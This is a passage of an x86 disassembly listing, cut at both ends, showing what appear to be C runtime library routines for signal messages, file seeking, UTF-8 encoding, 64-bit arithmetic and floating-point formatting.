		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	20h


loc_44D4AB:				; CODE XREF: sub_44D0DB+3ABj
					; sub_44D0DB+3B3j
		push	esi
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44D4B4:				; CODE XREF: sub_44D0DB+8Aj
					; sub_44D0DB+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D0DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D4BB	proc near		; CODE XREF: sub_44BE4B+2p

var_14		= dword	ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C54B
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_44D4E2
		or	eax, 0FFFFFFFFh
		jmp	loc_44D5DF
; ---------------------------------------------------------------------------


loc_44D4E2:				; CODE XREF: sub_44D4BB+1Dj
		cmp	ebx, 1
		jz	loc_44D5DD
		test	ebx, ebx
		jz	short loc_44D509
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C54B
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	ebx
		pop	ecx
		jmp	loc_44D5DD
; ---------------------------------------------------------------------------


loc_44D509:				; CODE XREF: sub_44D4BB+32j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jl	short loc_44D55E
		cmp	eax, 0Bh
		jg	short loc_44D51D
		jmp	dword ptr byte_410108[eax*4]
; ---------------------------------------------------------------------------


loc_44D51D:				; CODE XREF: sub_44D4BB+59j
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_44D555
		jmp	short loc_44D55E
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aAbort ; "abort"
		jmp	loc_44D5B2
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aArithmeticErro ; "arithmetic error"
		jmp	short loc_44D5B2
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
		jmp	short loc_44D5B2
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInterruption ; "interruption"
		jmp	short loc_44D5B2
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidStorage ; "invalid storage access"
		jmp	short loc_44D5B2
; ---------------------------------------------------------------------------


loc_44D555:				; CODE XREF: sub_44D4BB+66j
		mov	[ebp+var_4], offset aTerminationReq ; "termination request"
		jmp	short loc_44D5B2
; ---------------------------------------------------------------------------


loc_44D55E:				; CODE XREF: sub_44D4BB+54j
					; sub_44D4BB+68j
		lea	eax, [ebp+var_5]
		mov	[ebp+var_4], eax
		mov	[ebp+var_5], 0


loc_44D568:				; CODE XREF: sub_44D4BB+E3j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	eax, [edx+30h]
		mov	edx, [ebp+var_14]
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 66666667h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 2
		add	eax, edx
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_44D568
		push	offset dword_411328
		push	offset aSignal	; "signal #"
		call	sub_44E5FB
		add	esp, 8


loc_44D5B2:				; CODE XREF: sub_44D4BB+71j
					; sub_44D4BB+7Dj ...
		push	offset dword_411328
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_44E5FB
		add	esp, 8
		push	offset dword_411328
		push	offset aTerminating ; "	-- terminating\n"
		call	sub_44E5FB
		add	esp, 8
		push	1
		call	sub_4491DB
		pop	ecx


loc_44D5DD:				; CODE XREF: sub_44D4BB+2Aj
					; sub_44D4BB+49j
		xor	eax, eax


loc_44D5DF:				; CODE XREF: sub_44D4BB+22j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D4BB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D5EB	proc near		; CODE XREF: sub_44BE6B+4Bp
					; sub_44D0DB+306p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_44C35B
		pop	ecx
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D614
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D65D
; ---------------------------------------------------------------------------


loc_44D614:				; CODE XREF: sub_44D5EB+17j
		mov	eax, [ebp+arg_8]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	edi
		call	dword_411E18	; SetFilePointer
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D640
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_449A3B
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D65D
; ---------------------------------------------------------------------------


loc_44D640:				; CODE XREF: sub_44D5EB+41j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FDh
		mov	eax, esi


loc_44D65D:				; CODE XREF: sub_44D5EB+27j
					; sub_44D5EB+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44D5EB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A8C
		jnb	short loc_44D696
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44D6A6


loc_44D696:				; CODE XREF: DMN1:0044D679j
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D6C9
; ---------------------------------------------------------------------------


loc_44D6A6:				; CODE XREF: DMN1:0044D694j
		push	ebx
		call	sub_44C47B
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_44D5EB
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44D6C9:				; CODE XREF: DMN1:0044D6A4j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D6DB	proc near		; CODE XREF: sub_44C6AB+9Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		cmp	off_411928, 0
		jnz	loc_44D7C2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_44D716
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101BC
		mov	ebx, dword_4101C0
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_44D918
; ---------------------------------------------------------------------------


loc_44D716:				; CODE XREF: sub_44D6DB+1Ej
		test	[ebp+arg_4], 0FF80h
		jnz	short loc_44D736
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		mov	[eax], dl
		mov	[ebp+var_4], 0
		jmp	short loc_44D7AF
; ---------------------------------------------------------------------------


loc_44D736:				; CODE XREF: sub_44D6DB+41j
		test	[ebp+arg_4], 0F800h
		jnz	short loc_44D75F
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 6
		or	edx, 0C0h
		mov	[eax], dl
		mov	[ebp+var_4], 1
		jmp	short loc_44D7AF
; ---------------------------------------------------------------------------


loc_44D75F:				; CODE XREF: sub_44D6DB+61j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 0Ch
		and	edx, 0Fh
		or	edx, 0E0h
		mov	[eax], dl
		mov	[ebp+var_4], 2
		jmp	short loc_44D7AF
; ---------------------------------------------------------------------------


loc_44D783:				; CODE XREF: sub_44D6DB+D8j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		dec	edx
		mov	[ebp+var_4], edx
		movzx	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		lea	ecx, [edx+edx*2]
		add	ecx, ecx
		mov	edx, [ebp+var_C]
		sar	edx, cl
		and	edx, 3Fh
		or	edx, 80h
		mov	[eax], dl


loc_44D7AF:				; CODE XREF: sub_44D6DB+59j
					; sub_44D6DB+82j ...
		cmp	[ebp+var_4], 0
		jg	short loc_44D783
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	eax, edx
		jmp	loc_44D918
; ---------------------------------------------------------------------------


loc_44D7C2:				; CODE XREF: sub_44D6DB+Ej
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		mov	byte ptr [ebp+var_4+3],	al
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_44D80D
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101BC
		mov	ebx, dword_4101C0
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411928
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_44D918
; ---------------------------------------------------------------------------


loc_44D80D:				; CODE XREF: sub_44D6DB+10Aj
					; sub_44D6DB+229j
		mov	al, byte ptr [ebp+var_4+3]
		cmp	al, 10h
		jnb	short loc_44D853
		movzx	eax, al
		mov	eax, off_411968[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jz	short loc_44D853
		movzx	eax, byte_4118A4
		cmp	[ebp+var_8], eax
		jge	short loc_44D853
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_44D853
		movzx	eax, byte ptr [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_12], ax
		test	ax, ax
		jnz	short loc_44D866


loc_44D853:				; CODE XREF: sub_44D6DB+137j
					; sub_44D6DB+148j ...
		call	sub_449B9B
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44D918
; ---------------------------------------------------------------------------


loc_44D866:				; CODE XREF: sub_44D6DB+176j
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	byte ptr [ebp+var_4+3],	dl
		test	eax, 8000h
		jz	short loc_44D892
		movzx	eax, [ebp+arg_4]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_12]
		or	eax, edx
		mov	[ebp+arg_4], ax


loc_44D892:				; CODE XREF: sub_44D6DB+1A2j
		test	[ebp+var_12], 1000h
		jz	short loc_44D8B4
		movzx	eax, [ebp+arg_4]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+arg_4], ax


loc_44D8B4:				; CODE XREF: sub_44D6DB+1BDj
		test	[ebp+var_12], 2000h
		jz	short loc_44D8F8
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		test	[ebp+var_12], 0FFh
		jz	short loc_44D8D6
		movzx	edx, [ebp+var_12]
		mov	[ebp+var_1C], edx
		jmp	short loc_44D8DD
; ---------------------------------------------------------------------------


loc_44D8D6:				; CODE XREF: sub_44D6DB+1F0j
		movzx	edx, [ebp+arg_4]
		mov	[ebp+var_1C], edx


loc_44D8DD:				; CODE XREF: sub_44D6DB+1F9j
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax], dl
		test	dl, dl
		jnz	short loc_44D8F1
		mov	[ebp+var_10], 1


loc_44D8F1:				; CODE XREF: sub_44D6DB+20Dj
		mov	[ebp+var_C], 0


loc_44D8F8:				; CODE XREF: sub_44D6DB+1DFj
		test	[ebp+var_12], 4000h
		jnz	short loc_44D90A
		cmp	[ebp+var_10], 0
		jz	loc_44D80D


loc_44D90A:				; CODE XREF: sub_44D6DB+223j
		mov	edx, [ebp+arg_8]
		movzx	eax, byte ptr [ebp+var_4+3]
		mov	[edx+6], ax
		mov	eax, [ebp+var_8]


loc_44D918:				; CODE XREF: sub_44D6DB+36j
					; sub_44D6DB+E2j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D6DB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D92B	proc near		; CODE XREF: sub_44C7FB+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_4]
		or	eax, eax
		jnz	short loc_44D94C
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_C]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_44D99C
; ---------------------------------------------------------------------------


loc_44D94C:				; CODE XREF: sub_44D92B+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_C]
		mov	eax, [esp+4+arg_8]


loc_44D95A:				; CODE XREF: sub_44D92B+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_44D95A
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_4]
		xchg	eax, ecx
		mul	[esp+4+arg_0]
		add	edx, ecx
		jb	short loc_44D985
		cmp	edx, [esp+4+arg_C]
		ja	short loc_44D985
		jb	short loc_44D98D
		cmp	eax, [esp+4+arg_8]
		jbe	short loc_44D98D


loc_44D985:				; CODE XREF: sub_44D92B+4Aj
					; sub_44D92B+50j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]


loc_44D98D:				; CODE XREF: sub_44D92B+52j
					; sub_44D92B+58j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_44D99C:				; CODE XREF: sub_44D92B+1Fj
		pop	ebx
		retn	10h
sub_44D92B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D9AB	proc near		; CODE XREF: sub_44C7FB+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_44D9CC
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_44D9CC:				; CODE XREF: sub_44D9AB+Bj
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_44D9E8
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_44D9E8:				; CODE XREF: sub_44D9AB+27j
		or	eax, eax
		jnz	short loc_44DA04
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_44DA45
; ---------------------------------------------------------------------------


loc_44DA04:				; CODE XREF: sub_44D9AB+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_C]
		mov	eax, [esp+0Ch+arg_8]


loc_44DA12:				; CODE XREF: sub_44D9AB+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_44DA12
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_4]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_44DA40
		cmp	edx, [esp+0Ch+arg_C]
		ja	short loc_44DA40
		jb	short loc_44DA41
		cmp	eax, [esp+0Ch+arg_8]
		jbe	short loc_44DA41


loc_44DA40:				; CODE XREF: sub_44D9AB+85j
					; sub_44D9AB+8Bj
		dec	esi


loc_44DA41:				; CODE XREF: sub_44D9AB+8Dj
					; sub_44D9AB+93j
		xor	edx, edx
		mov	eax, esi


loc_44DA45:				; CODE XREF: sub_44D9AB+57j
		dec	edi
		jnz	short loc_44DA4F
		neg	edx
		neg	eax
		sbb	edx, 0


loc_44DA4F:				; CODE XREF: sub_44D9AB+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_44D9AB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44DA5B	proc near		; CODE XREF: sub_44C7FB+13Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		or	ecx, eax
		mov	ecx, [esp+arg_0]
		jnz	short loc_44DA74
		mov	eax, [esp+arg_8]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_44DA74:				; CODE XREF: sub_44DA5B+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	[esp+4+arg_4]
		add	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_44DA5B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44DA9B	proc near		; CODE XREF: sub_44CA3B+5p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [ecx+6]
		and	eax, 7FF0h
		cmp	eax, 7FF0h
		jnz	short loc_44DADE
		test	word ptr [ecx+6], 0Fh
		jnz	short loc_44DACB
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44DACB
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44DACB
		cmp	word ptr [ecx],	0
		jz	short loc_44DAD2


loc_44DACB:				; CODE XREF: sub_44DA9B+1Aj
					; sub_44DA9B+21j ...
		mov	edx, 2
		jmp	short loc_44DAD7
; ---------------------------------------------------------------------------


loc_44DAD2:				; CODE XREF: sub_44DA9B+2Ej
		mov	edx, 1


loc_44DAD7:				; CODE XREF: sub_44DA9B+35j
		mov	ax, dx
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_44DADE:				; CODE XREF: sub_44DA9B+12j
		movzx	eax, word ptr [ecx+6]
		test	eax, 0FFFF7FFFh
		jnz	short loc_44DAFD
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44DAFD
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44DAFD
		cmp	word ptr [ecx],	0
		jz	short loc_44DB01


loc_44DAFD:				; CODE XREF: sub_44DA9B+4Cj
					; sub_44DA9B+53j ...
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_44DB01:				; CODE XREF: sub_44DA9B+60j
		xor	eax, eax
		retn
sub_44DA9B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DB0B	proc near		; CODE XREF: sub_44CA4B+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44E6EB
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_44DB0B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DB2B	proc near		; CODE XREF: sub_44CA4B+200p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44E78B
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_44DB2B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44DB4B	proc near		; CODE XREF: sub_44CA4B+20Bp
					; sub_44CA4B+498p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		sub	esp, 0Ch
		fstcw	[esp+0Ch+var_2]
		mov	ax, [esp+0Ch+var_2]
		or	ah, 0Ch
		mov	[esp+0Ch+var_4], ax
		fldcw	[esp+0Ch+var_4]
		fistp	[esp+0Ch+var_C]
		fldcw	[esp+0Ch+var_2]
		mov	eax, dword ptr [esp+0Ch+var_C]
		mov	edx, dword ptr [esp+0Ch+var_C+4]
		add	esp, 0Ch
		retn
sub_44DB4B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DB7B	proc near		; CODE XREF: sub_44CA4B+4D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44DB7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DBAB	proc near		; CODE XREF: sub_44CA4B+64Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, off_4119D4
		mov	al, [eax]
		mov	[ebp+var_1], al
		cmp	[ebp+arg_C], 0
		jg	short loc_44DBD0
		mov	[ebp+arg_C], 1
		mov	[ebp+arg_8], offset dword_4101C8


loc_44DBD0:				; CODE XREF: sub_44DBAB+16j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44DC04
		cmp	al, 46h
		jz	short loc_44DC04
		cmp	al, 67h
		jz	short loc_44DBE7
		cmp	al, 47h
		jnz	loc_44DE4E


loc_44DBE7:				; CODE XREF: sub_44DBAB+32j
		mov	ax, [ebp+arg_10]
		cmp	ax, 0FFFCh
		jl	loc_44DE4E
		movsx	eax, ax
		mov	edx, [ebp+arg_0]
		cmp	eax, [edx+2Ch]
		jge	loc_44DE4E


loc_44DC04:				; CODE XREF: sub_44DBAB+2Aj
					; sub_44DBAB+2Ej
		add	[ebp+arg_10], 1
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44DC14
		cmp	al, 47h
		jnz	short loc_44DC4F


loc_44DC14:				; CODE XREF: sub_44DBAB+63j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jnz	short loc_44DC32
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_44DC32
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_44DC32:				; CODE XREF: sub_44DBAB+72j
					; sub_44DBAB+7Bj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_10]
		sub	edx, ecx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_44DC4F
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_44DC4F:				; CODE XREF: sub_44DBAB+67j
					; sub_44DBAB+98j
		cmp	[ebp+arg_10], 0
		jg	loc_44DD1B
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44DC81
		test	word ptr [eax+38h], 8
		jz	short loc_44DC99


loc_44DC81:				; CODE XREF: sub_44DBAB+CCj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44DC99:				; CODE XREF: sub_44DBAB+D4j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		neg	edx
		cmp	[eax+2Ch], edx
		jge	short loc_44DCB3
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		neg	eax
		mov	[ebp+arg_10], ax


loc_44DCB3:				; CODE XREF: sub_44DBAB+FAj
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		neg	eax
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+2Ch]
		add	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_44DCE4
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44DCE4:				; CODE XREF: sub_44DBAB+12Dj
		movsx	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+24h], eax
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+28h], edx
		jmp	loc_44E040
; ---------------------------------------------------------------------------


loc_44DD1B:				; CODE XREF: sub_44DBAB+A9j
		mov	ax, [ebp+arg_10]
		cmp	[ebp+arg_C], ax
		jge	short loc_44DD95
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		movsx	ecx, [ebp+arg_C]
		sub	eax, ecx
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44DD72
		test	word ptr [eax+38h], 8
		jz	short loc_44DD87


loc_44DD72:				; CODE XREF: sub_44DBAB+1BDj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+24h]


